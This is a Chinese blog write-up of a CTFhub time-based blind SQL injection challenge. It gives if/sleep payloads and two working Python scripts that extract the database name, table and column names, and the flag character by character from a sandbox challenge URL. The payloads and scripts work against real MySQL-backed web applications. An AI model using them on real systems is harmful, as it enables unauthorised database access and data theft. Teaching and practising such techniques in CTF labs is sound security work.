前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTFhub时间注入题解

CTFhub时间注入题解

作者头像
KevinBruce
发布2020-03-24 17:12:29
8090
发布2020-03-24 17:12:29
举报
文章被收录于专栏:CTF及算法学习

CTFhub时间注入题解

这个题除了你的SQL语句啥回显都没有,布尔盲注好歹还有个success和error。不过好在这个题没有任何过滤,因此解起来还是挺容易的,用题目所说的时间注入即可。

解题思路

题目中的SQL语句是select * from news where id=,这里可以借助if表达式进行构造。如果查询成功则sleep几秒,否则就返回一个值。为何成功才sleep呢,主要是节省时间,毕竟,失败次数太多了。

payload举例:

代码语言:javascript
复制
if(xxx,sleep(2),1)

xxx的值需要根据SQL注入的阶段来填写,首先是爆库名,这道题比较贴心,库名就是当前数据库。用到的payload如下:

代码语言:javascript
复制
if(substr(database(),1,1)='a',sleep(2),1)

上述payload中substr截取的长度和后面单引号的值是变化的,这里写了一个简单的脚本:

代码语言:javascript
复制
import requests
url = 'http://challenge-8dec2ad9aa98abc8.sandbox.ctfhub.com:10080/?id='
payload = "if(substr(database(),1,{})='{}',sleep(2),1)"
database = ''
#dabase的名字长度可以调整
for t in range(15):
    #flag用于确定database后结束循环
    flag = False
    for i in range(ord('a'),ord('z')+1):
        try:
            r = requests.get(url+payload.format(t+1,database+chr(i)),timeout=2)
        except:
            database+=chr(i)
            print(database)
            flag = True
            break
        else:
            pass
    if not flag:
        break

通过该脚本可以得到当前数据库名为sqli。

接下来爆表名,这里替换脚本中的payload为以下payload即可:

代码语言:javascript
复制
if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1 offset 1),1,{})='{}',sleep(2),1)

得到表名为flag。

同理爆列名,payload如下:

代码语言:javascript
复制
if(substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0),1,{})='{}',sleep(2),1)

得到列名有flag。

最后查表,得到结果。所用脚本如下:

代码语言:javascript
复制
import requests
url = 'http://challenge-8dec2ad9aa98abc8.sandbox.ctfhub.com:10080/?id='
payload = "if(substr((select flag from flag),1,{})='{}',sleep(2),1)"
database = ''
char_list = [i for i in range(ord('a'),ord('z')+1)]
char_list.append(ord('{'))
char_list.append(ord('}'))
char_list.extend([i for i in range(ord('0'),ord('9')+1)])
print(char_list)
for t in range(50):
    flag = False
    for i in char_list:
        try:
            r = requests.get(url+payload.format(t+1,database+chr(i)),timeout=2)
        except:
            database+=chr(i)
            print(database)
            flag = True
            break
        else:
            pass
    if not flag:
        break

如果网络抖动脚本会中断,可以多跑几次。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-03-21 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CTFhub时间注入题解
  • 解题思路
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档